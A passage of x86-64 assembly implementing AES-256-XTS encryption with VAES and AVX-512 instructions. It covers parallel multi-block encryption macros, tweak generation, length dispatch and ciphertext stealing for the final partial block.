%endif
%if (0 == %%lt128)
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW + 8*2], twtempl ; next Tweak2 generated
%endif
; round 3
vmovdqa %%T0, [keys + 16*3]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
%if (0 == %%lt128)
mov [TW + 8*3], twtemph
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
%endif
; round 4
vmovdqa %%T0, [keys + 16*4]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
%if (0 == %%lt128)
xor twtempl, ghash_poly_8b_temp
mov [TW + 8*4], twtempl ; next Tweak3 generated
mov [TW + 8*5], twtemph
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
%endif
; round 5
vmovdqa %%T0, [keys + 16*5]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
%if (0 == %%lt128)
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW + 8*6], twtempl ; next Tweak4 generated
mov [TW + 8*7], twtemph
%endif
; round 6
vmovdqa %%T0, [keys + 16*6]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
%if (0 == %%lt128)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW + 8*8], twtempl ; next Tweak5 generated
mov [TW + 8*9], twtemph
%endif
; round 7
vmovdqa %%T0, [keys + 16*7]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
%if (0 == %%lt128)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW + 8*10], twtempl ; next Tweak6 generated
mov [TW + 8*11], twtemph
%endif
; round 8
vmovdqa %%T0, [keys + 16*8]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
%if (0 == %%lt128)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW + 8*12], twtempl ; next Tweak7 generated
mov [TW + 8*13], twtemph
%endif
; round 9
vmovdqa %%T0, [keys + 16*9]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
%if (0 == %%lt128)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW + 8*14], twtempl ; next Tweak8 generated
mov [TW + 8*15], twtemph
%endif
; round 10
vmovdqa %%T0, [keys + 16*10]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
; round 11
vmovdqa %%T0, [keys + 16*11]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
; round 12
vmovdqa %%T0, [keys + 16*12]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
; round 13
vmovdqa %%T0, [keys + 16*13]
vaesenc %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenc %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenc %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenc %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenc %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenc %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenc %%ST7, %%T0
%endif
; round 14
vmovdqa %%T0, [keys + 16*14]
vaesenclast %%ST1, %%T0
%if (%%num_blocks>=2)
vaesenclast %%ST2, %%T0
%endif
%if (%%num_blocks>=3)
vaesenclast %%ST3, %%T0
%endif
%if (%%num_blocks>=4)
vaesenclast %%ST4, %%T0
%endif
%if (%%num_blocks>=5)
vaesenclast %%ST5, %%T0
%endif
%if (%%num_blocks>=6)
vaesenclast %%ST6, %%T0
%endif
%if (%%num_blocks>=7)
vaesenclast %%ST7, %%T0
%endif
; xor Tweak values
vpxor %%ST1, %%TW1
%if (%%num_blocks>=2)
vpxor %%ST2, %%TW2
%endif
%if (%%num_blocks>=3)
vpxor %%ST3, %%TW3
%endif
%if (%%num_blocks>=4)
vpxor %%ST4, %%TW4
%endif
%if (%%num_blocks>=5)
vpxor %%ST5, %%TW5
%endif
%if (%%num_blocks>=6)
vpxor %%ST6, %%TW6
%endif
%if (%%num_blocks>=7)
vpxor %%ST7, %%TW7
%endif
%if (0 == %%lt128)
; load next Tweak values
vmovdqa %%TW1, [TW + 16*0]
vmovdqa %%TW2, [TW + 16*1]
vmovdqa %%TW3, [TW + 16*2]
vmovdqa %%TW4, [TW + 16*3]
vmovdqa %%TW5, [TW + 16*4]
vmovdqa %%TW6, [TW + 16*5]
vmovdqa %%TW7, [TW + 16*6]
%endif
%endmacro
; Encrypt 8 blocks in parallel
; generate next 8 tweak values
%macro encrypt_by_eight_zmm 6
%define %%ST1 %1 ; state 1
%define %%ST2 %2 ; state 2
%define %%TW1 %3 ; tweak 1
%define %%TW2 %4 ; tweak 2
%define %%T0 %5 ; Temp register
%define %%last_eight %6
; xor Tweak values
vpxorq %%ST1, %%TW1
vpxorq %%ST2, %%TW2
; ARK
vbroadcasti32x4 %%T0, [keys]
vpxorq %%ST1, %%T0
vpxorq %%ST2, %%T0
%if (0 == %%last_eight)
vpsrldq zmm13, %%TW1, 15
vpclmulqdq zmm14, zmm13, zpoly, 0
vpslldq zmm15, %%TW1, 1
vpxord zmm15, zmm15, zmm14
%endif
; round 1
vbroadcasti32x4 %%T0, [keys + 16*1]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 2
vbroadcasti32x4 %%T0, [keys + 16*2]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 3
vbroadcasti32x4 %%T0, [keys + 16*3]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
%if (0 == %%last_eight)
vpsrldq zmm13, %%TW2, 15
vpclmulqdq zmm14, zmm13, zpoly, 0
vpslldq zmm16, %%TW2, 1
vpxord zmm16, zmm16, zmm14
%endif
; round 4
vbroadcasti32x4 %%T0, [keys + 16*4]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 5
vbroadcasti32x4 %%T0, [keys + 16*5]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 6
vbroadcasti32x4 %%T0, [keys + 16*6]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 7
vbroadcasti32x4 %%T0, [keys + 16*7]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 8
vbroadcasti32x4 %%T0, [keys + 16*8]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 9
vbroadcasti32x4 %%T0, [keys + 16*9]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 10
vbroadcasti32x4 %%T0, [keys + 16*10]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 11
vbroadcasti32x4 %%T0, [keys + 16*11]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 12
vbroadcasti32x4 %%T0, [keys + 16*12]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 13
vbroadcasti32x4 %%T0, [keys + 16*13]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
; round 14
vbroadcasti32x4 %%T0, [keys + 16*14]
vaesenclast %%ST1, %%T0
vaesenclast %%ST2, %%T0
; xor Tweak values
vpxorq %%ST1, %%TW1
vpxorq %%ST2, %%TW2
; load next Tweak values
vmovdqa32 %%TW1, zmm15
vmovdqa32 %%TW2, zmm16
%endmacro
; Encrypt 16 blocks in parallel
; generate next 8 tweak values
%macro encrypt_by_16_zmm 10
%define %%ST1 %1 ; state 1
%define %%ST2 %2 ; state 2
%define %%ST3 %3 ; state 3
%define %%ST4 %4 ; state 4
%define %%TW1 %5 ; tweak 1
%define %%TW2 %6 ; tweak 2
%define %%TW3 %7 ; tweak 3
%define %%TW4 %8 ; tweak 4
%define %%T0 %9 ; Temp register
%define %%last_eight %10
; xor Tweak values
vpxorq %%ST1, %%TW1
vpxorq %%ST2, %%TW2
vpxorq %%ST3, %%TW3
vpxorq %%ST4, %%TW4
; ARK
vbroadcasti32x4 %%T0, [keys]
vpxorq %%ST1, %%T0
vpxorq %%ST2, %%T0
vpxorq %%ST3, %%T0
vpxorq %%ST4, %%T0
%if (0 == %%last_eight)
vpsrldq zmm13, %%TW3, 15
vpclmulqdq zmm14, zmm13, zpoly, 0
vpslldq zmm15, %%TW3, 1
vpxord zmm15, zmm15, zmm14
%endif
; round 1
vbroadcasti32x4 %%T0, [keys + 16*1]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 2
vbroadcasti32x4 %%T0, [keys + 16*2]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 3
vbroadcasti32x4 %%T0, [keys + 16*3]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
%if (0 == %%last_eight)
vpsrldq zmm13, %%TW4, 15
vpclmulqdq zmm14, zmm13, zpoly, 0
vpslldq zmm16, %%TW4, 1
vpxord zmm16, zmm16, zmm14
%endif
; round 4
vbroadcasti32x4 %%T0, [keys + 16*4]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 5
vbroadcasti32x4 %%T0, [keys + 16*5]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 6
vbroadcasti32x4 %%T0, [keys + 16*6]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
%if (0 == %%last_eight)
vpsrldq zmm13, zmm15, 15
vpclmulqdq zmm14, zmm13, zpoly, 0
vpslldq zmm17, zmm15, 1
vpxord zmm17, zmm17, zmm14
%endif
; round 7
vbroadcasti32x4 %%T0, [keys + 16*7]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 8
vbroadcasti32x4 %%T0, [keys + 16*8]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 9
vbroadcasti32x4 %%T0, [keys + 16*9]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
%if (0 == %%last_eight)
vpsrldq zmm13, zmm16, 15
vpclmulqdq zmm14, zmm13, zpoly, 0
vpslldq zmm18, zmm16, 1
vpxord zmm18, zmm18, zmm14
%endif
; round 10
vbroadcasti32x4 %%T0, [keys + 16*10]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 11
vbroadcasti32x4 %%T0, [keys + 16*11]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 12
vbroadcasti32x4 %%T0, [keys + 16*12]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 13
vbroadcasti32x4 %%T0, [keys + 16*13]
vaesenc %%ST1, %%T0
vaesenc %%ST2, %%T0
vaesenc %%ST3, %%T0
vaesenc %%ST4, %%T0
; round 14
vbroadcasti32x4 %%T0, [keys + 16*14]
vaesenclast %%ST1, %%T0
vaesenclast %%ST2, %%T0
vaesenclast %%ST3, %%T0
vaesenclast %%ST4, %%T0
; xor Tweak values
vpxorq %%ST1, %%TW1
vpxorq %%ST2, %%TW2
vpxorq %%ST3, %%TW3
vpxorq %%ST4, %%TW4
; load next Tweak values
vmovdqa32 %%TW1, zmm15
vmovdqa32 %%TW2, zmm16
vmovdqa32 %%TW3, zmm17
vmovdqa32 %%TW4, zmm18
%endmacro
section .text
mk_global XTS_AES_256_enc_vaes, function
XTS_AES_256_enc_vaes:
%define ALIGN_STACK
%ifdef ALIGN_STACK
push rbp
mov rbp, rsp
sub rsp, VARIABLE_OFFSET
and rsp, ~63
%else
sub rsp, VARIABLE_OFFSET
%endif
mov [_gpr + 8*0], rbx
%ifidn __OUTPUT_FORMAT__, win64
mov [_gpr + 8*1], rdi
mov [_gpr + 8*2], rsi
vmovdqa [_xmm + 16*0], xmm6
vmovdqa [_xmm + 16*1], xmm7
vmovdqa [_xmm + 16*2], xmm8
vmovdqa [_xmm + 16*3], xmm9
vmovdqa [_xmm + 16*4], xmm10
vmovdqa [_xmm + 16*5], xmm11
vmovdqa [_xmm + 16*6], xmm12
vmovdqa [_xmm + 16*7], xmm13
vmovdqa [_xmm + 16*8], xmm14
vmovdqa [_xmm + 16*9], xmm15
%endif
mov ghash_poly_8b, GHASH_POLY ; load 0x87 to ghash_poly_8b
vmovdqu xmm1, [T_val] ; read initial Tweak value
vpxor xmm4, xmm4 ; for key expansion
encrypt_T xmm0, xmm5, xmm1, xmm2, xmm6, xmm3, xmm4, ptr_key2, ptr_key1, keys
%ifidn __OUTPUT_FORMAT__, win64
mov ptr_plaintext, [rsp + VARIABLE_OFFSET + 8*5] ; plaintext pointer
mov ptr_ciphertext, [rsp + VARIABLE_OFFSET + 8*6] ; ciphertext pointer
%endif
cmp N_val, 128
jl _less_than_128_bytes
vpbroadcastq zpoly, ghash_poly_8b
cmp N_val, 256
jge _start_by16
cmp N_val, 128
jge _start_by8
_do_n_blocks:
cmp N_val, 0
je _ret_
cmp N_val, (7*16)
jge _remaining_num_blocks_is_7
cmp N_val, (6*16)
jge _remaining_num_blocks_is_6
cmp N_val, (5*16)
jge _remaining_num_blocks_is_5
cmp N_val, (4*16)
jge _remaining_num_blocks_is_4
cmp N_val, (3*16)
jge _remaining_num_blocks_is_3
cmp N_val, (2*16)
jge _remaining_num_blocks_is_2
cmp N_val, (1*16)
jge _remaining_num_blocks_is_1
;; _remaining_num_blocks_is_0:
vmovdqa xmm8, xmm0
vmovdqa xmm0, xmm9
jmp _steal_cipher
_remaining_num_blocks_is_7:
mov tmp1, -1
shr tmp1, 16
kmovq k1, tmp1
vmovdqu8 zmm1, [ptr_plaintext+16*0]
vmovdqu8 zmm2 {k1}, [ptr_plaintext+16*4]
add ptr_plaintext, 16*7
encrypt_by_eight_zmm zmm1, zmm2, zmm9, zmm10, zmm0, 1
vmovdqu8 [ptr_ciphertext+16*0], zmm1
vmovdqu8 [ptr_ciphertext+16*4] {k1}, zmm2
add ptr_ciphertext, 16*7
vextracti32x4 xmm8, zmm2, 0x2
vextracti32x4 xmm0, zmm10, 0x3
and N_val, 15
je _ret_
jmp _steal_cipher
_remaining_num_blocks_is_6:
vmovdqu8 zmm1, [ptr_plaintext+16*0]
vmovdqu8 ymm2, [ptr_plaintext+16*4]
add ptr_plaintext, 16*6
encrypt_by_eight_zmm zmm1, zmm2, zmm9, zmm10, zmm0, 1
vmovdqu8 [ptr_ciphertext+16*0], zmm1
vmovdqu8 [ptr_ciphertext+16*4], ymm2
add ptr_ciphertext, 16*6
vextracti32x4 xmm8, zmm2, 0x1
vextracti32x4 xmm0, zmm10, 0x2
and N_val, 15
je _ret_
jmp _steal_cipher
_remaining_num_blocks_is_5:
vmovdqu8 zmm1, [ptr_plaintext+16*0]
vmovdqu xmm2, [ptr_plaintext+16*4]
add ptr_plaintext, 16*5
encrypt_by_eight_zmm zmm1, zmm2, zmm9, zmm10, zmm0, 1
vmovdqu8 [ptr_ciphertext+16*0], zmm1
vmovdqu [ptr_ciphertext+16*4], xmm2
add ptr_ciphertext, 16*5
movdqa xmm8, xmm2
vextracti32x4 xmm0, zmm10, 0x1
and N_val, 15
je _ret_
jmp _steal_cipher
_remaining_num_blocks_is_4:
vmovdqu8 zmm1, [ptr_plaintext+16*0]
add ptr_plaintext, 16*4
encrypt_by_eight_zmm zmm1, zmm2, zmm9, zmm10, zmm0, 1
vmovdqu8 [ptr_ciphertext+16*0], zmm1
add ptr_ciphertext, 16*4
vextracti32x4 xmm8, zmm1, 0x3
vextracti32x4 xmm0, zmm10, 0x0
and N_val, 15
je _ret_
jmp _steal_cipher
_remaining_num_blocks_is_3:
vextracti32x4 xmm10, zmm9, 1
vextracti32x4 xmm11, zmm9, 2
vmovdqu xmm1, [ptr_plaintext+16*0]
vmovdqu xmm2, [ptr_plaintext+16*1]
vmovdqu xmm3, [ptr_plaintext+16*2]
add ptr_plaintext, 16*3
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 3, 1
vmovdqu [ptr_ciphertext+16*0], xmm1
vmovdqu [ptr_ciphertext+16*1], xmm2
vmovdqu [ptr_ciphertext+16*2], xmm3
add ptr_ciphertext, 16*3
vmovdqa xmm8, xmm3
vextracti32x4 xmm0, zmm9, 3
and N_val, 15
je _ret_
jmp _steal_cipher
_remaining_num_blocks_is_2:
vextracti32x4 xmm10, zmm9, 1
vmovdqu xmm1, [ptr_plaintext+16*0]
vmovdqu xmm2, [ptr_plaintext+16*1]
add ptr_plaintext, 16*2
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 2, 1
vmovdqu [ptr_ciphertext+16*0], xmm1
vmovdqu [ptr_ciphertext+16*1], xmm2
add ptr_ciphertext, 16*2
vmovdqa xmm8, xmm2
vextracti32x4 xmm0, zmm9, 2
and N_val, 15
je _ret_
jmp _steal_cipher
_remaining_num_blocks_is_1:
vmovdqu xmm1, [ptr_plaintext]
add ptr_plaintext, 16
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 1, 1
vmovdqu [ptr_ciphertext], xmm1
add ptr_ciphertext, 16
vmovdqa xmm8, xmm1
vextracti32x4 xmm0, zmm9, 1
and N_val, 15
je _ret_
jmp _steal_cipher
_start_by16:
; Make first 7 tweek values
vbroadcasti32x4 zmm0, [TW]
vbroadcasti32x4 zmm8, [shufb_15_7]
mov tmp1, 0xaa
kmovq k2, tmp1
; Mult tweak by 2^{3, 2, 1, 0}
vpshufb zmm1, zmm0, zmm8 ; mov 15->0, 7->8
vpsllvq zmm4, zmm0, [const_dq3210] ; shift l 3,2,1,0
vpsrlvq zmm2, zmm1, [const_dq5678] ; shift r 5,6,7,8
vpclmulqdq zmm3, zmm2, zpoly, 0x00
vpxorq zmm4 {k2}, zmm4, zmm2 ; tweaks shifted by 3-0
vpxord zmm9, zmm3, zmm4
; Mult tweak by 2^{7, 6, 5, 4}
vpsllvq zmm5, zmm0, [const_dq7654] ; shift l 7,6,5,4
vpsrlvq zmm6, zmm1, [const_dq1234] ; shift r 1,2,3,4
vpclmulqdq zmm7, zmm6, zpoly, 0x00
vpxorq zmm5 {k2}, zmm5, zmm6 ; tweaks shifted by 7-4
vpxord zmm10, zmm7, zmm5
; Make next 8 tweek values by all x 2^8
vpsrldq zmm13, zmm9, 15
vpclmulqdq zmm14, zmm13, zpoly, 0
vpslldq zmm11, zmm9, 1
vpxord zmm11, zmm11, zmm14
vpsrldq zmm15, zmm10, 15
vpclmulqdq zmm16, zmm15, zpoly, 0
vpslldq zmm12, zmm10, 1
vpxord zmm12, zmm12, zmm16
_main_loop_run_16:
vmovdqu8 zmm1, [ptr_plaintext+16*0]
vmovdqu8 zmm2, [ptr_plaintext+16*4]
vmovdqu8 zmm3, [ptr_plaintext+16*8]
vmovdqu8 zmm4, [ptr_plaintext+16*12]
add ptr_plaintext, 256
encrypt_by_16_zmm zmm1, zmm2, zmm3, zmm4, zmm9, zmm10, zmm11, zmm12, zmm0, 0
vmovdqu8 [ptr_ciphertext+16*0], zmm1
vmovdqu8 [ptr_ciphertext+16*4], zmm2
vmovdqu8 [ptr_ciphertext+16*8], zmm3
vmovdqu8 [ptr_ciphertext+16*12], zmm4
add ptr_ciphertext, 256
sub N_val, 256
cmp N_val, 256
jge _main_loop_run_16
cmp N_val, 128
jge _main_loop_run_8
vextracti32x4 xmm0, zmm4, 0x3 ; keep last crypted block
jmp _do_n_blocks
_start_by8:
; Make first 7 tweek values
vbroadcasti32x4 zmm0, [TW]
vbroadcasti32x4 zmm8, [shufb_15_7]
mov tmp1, 0xaa
kmovq k2, tmp1
; Mult tweak by 2^{3, 2, 1, 0}
vpshufb zmm1, zmm0, zmm8 ; mov 15->0, 7->8
vpsllvq zmm4, zmm0, [const_dq3210] ; shift l 3,2,1,0
vpsrlvq zmm2, zmm1, [const_dq5678] ; shift r 5,6,7,8
vpclmulqdq zmm3, zmm2, zpoly, 0x00
vpxorq zmm4 {k2}, zmm4, zmm2 ; tweaks shifted by 3-0
vpxord zmm9, zmm3, zmm4
; Mult tweak by 2^{7, 6, 5, 4}
vpsllvq zmm5, zmm0, [const_dq7654] ; shift l 7,6,5,4
vpsrlvq zmm6, zmm1, [const_dq1234] ; shift r 1,2,3,4
vpclmulqdq zmm7, zmm6, zpoly, 0x00
vpxorq zmm5 {k2}, zmm5, zmm6 ; tweaks shifted by 7-4
vpxord zmm10, zmm7, zmm5
_main_loop_run_8:
; load plaintext
vmovdqu8 zmm1, [ptr_plaintext+16*0]
vmovdqu8 zmm2, [ptr_plaintext+16*4]
add ptr_plaintext, 128
encrypt_by_eight_zmm zmm1, zmm2, zmm9, zmm10, zmm0, 0
; store ciphertext
vmovdqu8 [ptr_ciphertext+16*0], zmm1
vmovdqu8 [ptr_ciphertext+16*4], zmm2
add ptr_ciphertext, 128
sub N_val, 128
cmp N_val, 128
jge _main_loop_run_8
vextracti32x4 xmm0, zmm2, 0x3 ; keep last crypted block
jmp _do_n_blocks
_steal_cipher_next:
; generate next Tweak value
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW], twtempl
mov [TW + 8], twtemph
vmovdqa xmm0, [TW]
_steal_cipher:
; start cipher stealing simplified: xmm8 - last cipher block, xmm0 - next tweak
vmovdqa xmm2, xmm8
; shift xmm8 to the left by 16-N_val bytes
lea twtempl, [vpshufb_shf_table]
vmovdqu xmm10, [twtempl+N_val]
vpshufb xmm8, xmm10
vmovdqu xmm3, [ptr_plaintext - 16 + N_val]
vmovdqu [ptr_ciphertext - 16 + N_val], xmm8
; shift xmm3 to the right by 16-N_val bytes
lea twtempl, [vpshufb_shf_table +16]
sub twtempl, N_val
vmovdqu xmm10, [twtempl]
vpxor xmm10, [mask1]
vpshufb xmm3, xmm10
vpblendvb xmm3, xmm3, xmm2, xmm10
; xor Tweak value
vpxor xmm8, xmm3, xmm0
;encrypt last block with cipher stealing
vpxor xmm8, [keys] ; ARK
vaesenc xmm8, [keys + 16*1] ; round 1
vaesenc xmm8, [keys + 16*2] ; round 2
vaesenc xmm8, [keys + 16*3] ; round 3
vaesenc xmm8, [keys + 16*4] ; round 4
vaesenc xmm8, [keys + 16*5] ; round 5
vaesenc xmm8, [keys + 16*6] ; round 6
vaesenc xmm8, [keys + 16*7] ; round 7
vaesenc xmm8, [keys + 16*8] ; round 8
vaesenc xmm8, [keys + 16*9] ; round 9
vaesenc xmm8, [keys + 16*10] ; round 10
vaesenc xmm8, [keys + 16*11] ; round 11
vaesenc xmm8, [keys + 16*12] ; round 12
vaesenc xmm8, [keys + 16*13] ; round 13
vaesenclast xmm8, [keys + 16*14] ; round 14
; xor Tweak value
vpxor xmm8, xmm8, xmm0
; store last ciphertext value
vmovdqu [ptr_ciphertext - 16], xmm8
_ret_:
mov rbx, [_gpr + 8*0]
%ifidn __OUTPUT_FORMAT__, win64
mov rdi, [_gpr + 8*1]
mov rsi, [_gpr + 8*2]
vmovdqa xmm6, [_xmm + 16*0]
vmovdqa xmm7, [_xmm + 16*1]
vmovdqa xmm8, [_xmm + 16*2]
vmovdqa xmm9, [_xmm + 16*3]
vmovdqa xmm10, [_xmm + 16*4]
vmovdqa xmm11, [_xmm + 16*5]
vmovdqa xmm12, [_xmm + 16*6]
vmovdqa xmm13, [_xmm + 16*7]
vmovdqa xmm14, [_xmm + 16*8]
vmovdqa xmm15, [_xmm + 16*9]
%endif
%ifndef ALIGN_STACK
add rsp, VARIABLE_OFFSET
%else
mov rsp, rbp
pop rbp
%endif
ret
_less_than_128_bytes:
cmp N_val, 16
jb _ret_
mov tmp1, N_val
and tmp1, (7 << 4)
cmp tmp1, (6 << 4)
je _num_blocks_is_6
cmp tmp1, (5 << 4)
je _num_blocks_is_5
cmp tmp1, (4 << 4)
je _num_blocks_is_4
cmp tmp1, (3 << 4)
je _num_blocks_is_3
cmp tmp1, (2 << 4)
je _num_blocks_is_2
cmp tmp1, (1 << 4)
je _num_blocks_is_1
_num_blocks_is_7:
initialize xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, 7
add ptr_plaintext, 16*7
